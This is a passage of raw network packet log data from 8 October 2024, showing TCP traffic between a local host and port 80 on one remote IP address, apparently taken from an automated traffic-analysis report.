Oct 8, 2024 02:45:23.073659897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.073685884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.073719978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.074489117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.074523926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.074556112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.074589014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.075351000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.075412035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.075414896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.075459957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.076219082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.076251984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.076278925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.076312065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.077059031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.077094078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.077121973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.077126026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.077142954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.077174902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.077905893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.077939987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.077964067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.077995062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.078798056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.078831911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.078860044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.078861952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.078885078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.078902006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.079648018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.079680920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.079703093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.079727888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.080316067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.080348969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.080375910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.080396891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.081006050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.081038952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.081063986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.081082106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.081695080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.081728935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.081752062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.081763029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.081770897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.081809044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.082389116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.082422018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.082446098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.082477093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.083060026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.083092928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.083118916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.083153009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.083755970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.083789110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.083822966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.083856106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.084436893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.084470034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.084496021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.084527969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.085083008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.085143089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.085149050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.085180998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.085200071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.085226059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.085812092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.085845947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.085874081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.085905075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.086472034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.086507082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.086539030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.086555004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.086560011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.086604118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.087487936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.087522030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.087548971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.087568045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.087587118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.087639093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.088496923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.088561058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.183016062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.183188915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.183198929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.183234930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.183254957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.183279991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.183785915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.184005022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.184039116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.184050083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.184050083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.184094906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.184533119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.184566021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.184597969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.184600115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.184618950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.184649944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.185374975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.185429096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.185466051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.185502052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.185518026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.185549974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.186232090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.186265945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.186289072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.186295033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.186316967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.186335087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.186353922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.186451912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.187031031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.187064886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.187084913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.187097073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.187112093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.187150955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.187877893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.187911987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.187935114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.187943935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.187957048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.187978029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.187997103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.188021898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.188709974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.188744068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.188765049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.188776016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.188786983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.188824892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.189559937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.189594030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.189625978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.189626932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.189647913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.189671993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.190387964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.190423012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.190443039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.190454006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.190470934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.190490007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.190502882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.190542936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.191220999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.191255093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.191282034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.191287994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.191304922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.191343069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.192058086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.192092896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.192125082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.192125082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.192148924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.192169905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.192905903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.192939997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.192971945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.192971945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.192992926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.193010092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.193017960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.193061113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.193739891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.193774939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.193806887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.193814039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.193814039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.193851948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.194569111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.194602013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.194624901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.194633961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.194648027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.194681883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.195435047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.195468903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.195497990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.195502996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.195535898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.195539951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.195539951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.195594072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.196329117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.196362972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.196389914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.196412086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.196420908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.196468115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.196916103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.196949005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.196975946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.196981907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.196999073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.197015047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.197022915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.197066069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.197801113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.197834015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.197860003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.197866917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.197881937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.197900057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.197911978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.197932959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.197952032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.197977066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.198563099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.198620081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.198635101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.198653936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.198664904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.198688030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.198704958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.198734999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.199496984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.199531078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.199568987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.199569941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.199594021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.199629068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.199646950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.199675083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.200356007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.200391054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.200412989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.200423956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.200433016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.200458050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.200474977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.200491905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.200524092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.200544119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.201215029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.201266050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.201270103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.201297998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.201307058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.201332092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.201349020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.201376915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.202075005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.202109098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.202127934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.202142000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.202155113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.202176094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.202192068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.202208996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.202224016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.202260971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.202883959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.202935934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.273371935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.273483038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.273596048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.273632050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.273673058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.273719072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.273858070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.273890972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.273925066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.273942947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.273976088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.274463892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.274498940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.274533033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.274538994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.274538994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.274574995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.274990082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.275054932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.293509960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.293589115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.293663025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.293703079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.293724060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.293752909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.293890953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.293925047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.293951035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.293958902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.293971062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.293994904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.294006109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.294049025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.294670105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.294703960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.294732094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.294738054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.294754028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.294785023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.295183897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.295217991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.295241117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.295252085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.295259953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.295300007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.295758009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.295818090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.295825005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.295857906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.295874119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.295892000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.295906067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.295944929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.296636105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.296669960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.296689987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.296700954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.296711922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.296735048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.296762943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.296767950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.296782970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.296813965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.297508955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.297543049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.297561884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.297574997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.297589064 CEST	51293	80	192.168.2.4	95.164.90.97
